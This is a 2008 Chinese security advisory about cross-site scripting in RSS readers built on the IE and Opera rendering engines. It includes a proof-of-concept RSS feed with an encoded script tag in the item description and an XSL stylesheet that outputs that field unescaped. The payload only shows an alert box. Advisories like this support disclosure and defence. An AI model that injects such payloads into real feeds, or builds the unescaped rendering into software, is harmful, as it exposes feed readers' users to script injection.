多款RSS阅读器出现XSS漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2008-09-28
多款RSS阅读器出现XSS漏洞  
受影响系统:

调用以下内核解析RSS的RSS阅读器:

INTERNET EXPLORER ver<= IE7 (其他版本未经测试,估计也有)

OPERA ver <=9.52

以下阅读器出现漏洞:

新浪点点通1.1.0.8 目前最高

周博通4.0(28031409) 目前最高

遨游2.1.4.443(目前最高) RSS侧边栏

。。。不再一一列举。

不受影响系统:

GOOGLE的RSS reader,因为这个RSS阅读器没有调用IE的内核去解析<description>,而是自己解析后输出为html。

描述:

IE和OPERA对RSS中<item>下的<description>标签内容,解析过程如下:

首先使用HTML编码对内容解密(例:‘&lt;’解析为‘<’),之后执行其中HTML代码。

这种解析方式导致一些RSS阅读工具对此过滤不严,出现XSS漏洞。

<*来源:kxlzx (kxlzx@xiaotou.org) http://www.inbreak.net/ *>

测试方法:
在<description>标签的内容中输入HTML编码后的JS代码,例如:
rss.xml代码

 <?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href=’kxlzx.xsl’ type=’text/xsl’ ?> 
 <rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" 
 xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:content="http://purl.org/rss/1.0/modules/content/" 
 xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" 
 version="2.0"> 
 <channel> 
 <update>Mon, 26 Oct 2008 10:36:52 +0800</update> 
 <title>hacked by kxlzx</title> 
 <description>hacked by kxlzx</description> 
 <item> 
 <title>hacked by kxlzx title</title> 
 <author xmlns="http://www.w3.org/2005/Atom"> 
 <name>test all</name> 
 </author> 
 <id xmlns="http://www.w3.org/2005/Atom">http://www.inbreak.net/</id> 
 <description>&lt;script&gt;alert(’xss’);&lt;/script&gt;</description> 
 <pubDate>Mon, 27 Oct 2008 09:34:54 +0800</pubDate> 
 </item> 
 </channel> 
 </rss> 

kxlzx.xsl代码
 <?xml version="1.0" encoding="UTF-8"?> 
 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> 
 <xsl:output method="html" indent="yes" doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" doctype-public="-//W3C//DTD XHTML 1.0 Transitional//EN"/> 
 <xsl:variable name="title" select="/rss/channel/title"/> 
 <xsl:variable name="feedUrl" select="/rss/channel/atom:link[@ref=’self’]/@href" xmlns:atom="http://www.w3.org/2005/Atom"/> 
 <xsl:variable name="srclink" select="/rss/channel/link"/> 
 <xsl:template match="/"> 
 <html> 
 <head> 
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> 
 </head> 
 <xsl:apply-templates select="rss/channel"/> 
 </html> 
 </xsl:template> 
 <xsl:template match="channel"> 
 <body> 
 
 <div id="wrapper"> 
 <div id="content"> 
 <xsl:apply-templates select="image"/> 
 <h1><a href="{link}" style="color:#94B3C5;"><xsl:value-of select="$title"/></a></h1> 
 
 <p id="desc"><xsl:value-of select="description" disable-output-escaping="yes"/></p> 
 
 <ul id="item" class="item"> 
 <xsl:apply-templates select="item"/> 
 </ul> 
 </div> 
 </div> 
 
 </body> 
 </xsl:template> 
 <xsl:template match="item"> 
 
 <li> 
 <h2><a href="{link}"><xsl:value-of select="title"/></a></h2> 
 <span class="date"> <xsl:value-of select="pubDate"/></span> 
 
 <p name="decodeable" class="itemcontent"><xsl:call-template name="outputContent"/></p> 
 
 <xsl:if test="count(child::enclosure)=1"> 
 <dd> 
 <a href="{enclosure/@url}"> 
 <img src="http://www.feedsky.com/images/listen.gif" style="vertical-align: middle; padding-left: 4px;"/> 
 </a> 
 </dd> 
 </xsl:if> 
 
 </li> 
 
 </xsl:template> 
 <xsl:template match="image"> 
 <xsl:element name="img" namespace="http://www.w3.org/1999/xhtml"> 
 <xsl:attribute name="src"><xsl:value-of select="url"/></xsl:attribute> 
 <xsl:attribute name="alt"> 
 Link to <xsl:value-of select="title"/></xsl:attribute> 
 <xsl:attribute name="id">feedimage</xsl:attribute> 
 </xsl:element> 
 <xsl:text> </xsl:text> 
 </xsl:template> 
 <xsl:template match="feedsky:browserFriendly" xmlns:feedsky="http://namespace.org/feedsky/ext/1.0"> 
 <p id="ownerblurb" xmlns="http://www.w3.org/1999/xhtml"> 
 <em>A message from the feed publisher:</em> 
 <xsl:text> </xsl:text> 
 <xsl:apply-templates/> 
 </p> 
 </xsl:template> 
 <xsl:template name="outputContent"> 
 <xsl:choose> 
 <xsl:when test="xhtml:body" xmlns:xhtml="http://www.w3.org/1999/xhtml"> 
 <xsl:copy-of select="xhtml:body/*"/> 
 </xsl:when> 
 <xsl:when test="xhtml:div" xmlns:xhtml="http://www.w3.org/1999/xhtml"> 
 <xsl:copy-of select="xhtml:div"/> 
 </xsl:when> 
 <xsl:when test="content:encoded" xmlns:content="http://purl.org/rss/1.0/modules/content/"> 
 <xsl:value-of select="content:encoded" disable-output-escaping="yes"/> 
 </xsl:when> 
 <xsl:when test="description"> 
 <xsl:value-of select="description" disable-output-escaping="yes"/> 
 </xsl:when> 
 </xsl:choose> 
 </xsl:template> 
 </xsl:stylesheet> 
演示地址:

http://www.inbreak.net/kxlzxtest/rss8.xml

使用RSS阅读器订阅此地址。

建议:

没啥建议,祈祷RSS阅读器厂商升级好了。